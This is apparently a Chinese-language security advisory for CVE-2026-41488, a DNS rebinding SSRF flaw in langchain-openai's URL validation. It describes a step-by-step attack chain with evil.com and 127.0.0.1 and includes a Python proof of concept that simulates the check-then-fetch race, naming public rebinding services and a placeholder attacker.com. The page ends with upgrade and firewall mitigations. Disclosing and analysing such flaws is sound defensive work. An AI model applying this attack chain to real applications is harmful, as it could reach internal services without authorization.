IPBUF安全漏洞报告
English
CVE-2026-41488 CVSS 3.1 低危

CVE-2026-41488 LangChain DNS重绑定漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41488
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LangChain (langchain-openai)

相关标签

SSRFDNS重绑定TOCTOULangChainLLM安全

漏洞概述

LangChain框架在1.1.14版本前存在DNS重绑定漏洞。其`_url_to_size`辅助函数在验证URL合法性后,会在独立的DNS解析中获取资源。这一时间差允许攻击者利用DNS重绑定攻击,将域名解析从公网IP切换至内网IP,从而绕过SSRF防护机制。

技术细节

该漏洞源于典型的TOCTOU(Time-of-check Time-of-use)竞态条件。受影响组件`langchain-openai`用于图片Token计数,其安全逻辑分为两步:首先验证URL解析的IP是否为内网地址,随后进行网络请求获取数据。由于这两步操作使用了独立的DNS解析,攻击者可控制恶意域名服务器。在验证阶段返回合法的公网IP以通过检查,随后在请求阶段迅速将DNS记录更改为本地回环地址(127.0.0.1)或内网IP。这使得应用最终向内网发起请求,导致SSRF攻击。

攻击链分析

STEP 1
1. 构造恶意链接
攻击者准备一个受控的域名(如evil.com),并配置DNS服务器使其初始解析为合法的公网IP。
STEP 2
2. 诱导请求
攻击者诱导用户或应用使用LangChain处理包含该恶意图片URL的输入。
STEP 3
3. 绕过验证
LangChain调用`_url_to_size`进行验证,DNS解析返回公网IP,成功绕过SSRF检测。
STEP 4
4. DNS重绑定
在验证通过与实际发起网络请求之间的极短时间窗口内,攻击者控制DNS服务器更改解析记录,指向内网IP(如127.0.0.1)。
STEP 5
5. 发起攻击
应用发起第二次独立的DNS解析并获取资源,请求被发送至内网目标,实现SSRF攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This PoC demonstrates the vulnerable logic flow. # An attacker would need a controlled domain (e.g., via rebind.net) # that resolves to a public IP first, then 127.0.0.1. import socket import time def simulate_vulnerable_flow(hostname): # Step 1: Validation (Check) print(f"[+] Validating hostname: {hostname}") try: # First DNS resolution (Expected Public IP) ip_check = socket.gethostbyname(hostname) print(f"[+] Validation IP: {ip_check}") # Simulate SSRF check logic (simplified) if ip_check.startswith("127.") or ip_check.startswith("192.168.") or ip_check == "::1": print("[-] SSRF Detected: Blocking private IP during validation.") return except socket.gaierror: print("[-] Resolution failed.") return # TOCTOU Window: Attacker changes DNS record here print("[*] TOCTOU Window: Waiting for DNS rebinding...") time.sleep(2) # Step 2: Fetch (Use) # Second DNS resolution (Attacker switches to Localhost) print(f"[*] Fetching resource from: {hostname}") try: ip_fetch = socket.gethostbyname(hostname) print(f"[+] Fetch IP: {ip_fetch}") # Vulnerability: Request goes to the new IP without re-validation if ip_fetch.startswith("127."): print("[!] EXPLOIT SUCCESSFUL: Request sent to localhost (Internal IP)!") else: print("[!] Exploit failed: IP did not rebind to target.") except socket.gaierror: print("[-] Resolution failed.") # Note: To test this practically, replace 'attacker.com' with a domain # configured to rebind (e.g., using a service like rbndr.us). # simulate_vulnerable_flow("attacker.com")

影响范围

langchain-openai < 1.1.14

防御指南

临时缓解措施
建议立即升级受影响组件至修复版本。若暂时无法升级,应配置网络防火墙规则,拦截应用发起的指向内网IP段(如127.0.0.0/8, 10.0.0.0/8等)的出站连接,以阻断SSRF利用路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表